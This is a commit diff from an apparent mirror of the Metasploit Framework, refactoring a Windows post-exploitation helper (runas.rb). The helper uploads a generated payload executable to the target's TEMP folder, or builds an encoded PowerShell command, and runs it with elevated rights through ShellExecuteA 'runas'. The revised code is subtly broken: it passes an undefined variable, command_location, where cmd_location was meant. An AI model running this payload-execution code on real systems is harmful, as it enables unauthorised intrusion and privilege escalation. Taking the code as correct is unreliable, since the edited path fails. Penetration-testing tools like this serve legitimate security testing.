infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Tidy up

bug/bundler_fix
Meatballs 2014-03-22 18:38:58 +00:00
parent b524507e4e
commit d53b56c161
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 9 additions and 9 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

18
lib/msf/core/post/windows/runas.rb
View File

@ -10,31 +10,31 @@ module Msf::Post::Windows::Runas
include Msf::Exploit::Powershell include Msf::Exploit::Powershell
def execute_exe(filename=nil, path=nil, upload=nil) def execute_exe(filename=nil, path=nil, upload=nil)
exe_payload = generate_payload_exe
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" payload_filename = filename || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
payload_path = path || get_env('TEMP') payload_path = path || get_env('TEMP')
cmd_location = "#{payload_path}\\#{payload_filename}" cmd_location = "#{payload_path}\\#{payload_filename}"
if upload if upload
exe_payload = generate_payload_exe
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...") print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
write_file(cmd_location, exe_payload) write_file(cmd_location, exe_payload)
else else
print_error("No Upload Path!") print_status("No file uploaded, attempting to execute #{cmd_location}...")
return
end end
command = cmd_location shell_exec(command_location, nil)
shell_exec(command, nil)
end end
def execute_psh def execute_psh
command,args = "cmd.exe", " /c #{cmd_psh_payload(payload.encoded)}" powershell_command = cmd_psh_payload(payload.encoded)
shell_exec(command,args) command = 'cmd.exe'
args = "/c #{powershell_command}"
shell_exec(command, args)
end end
def shell_exec(command, args) def shell_exec(command, args)
print_status("Executing elevated command!") print_status("Executing elevated command...")
session.railgun.shell32.ShellExecuteA(nil, "runas", command, args, nil, 5) session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
end end
end end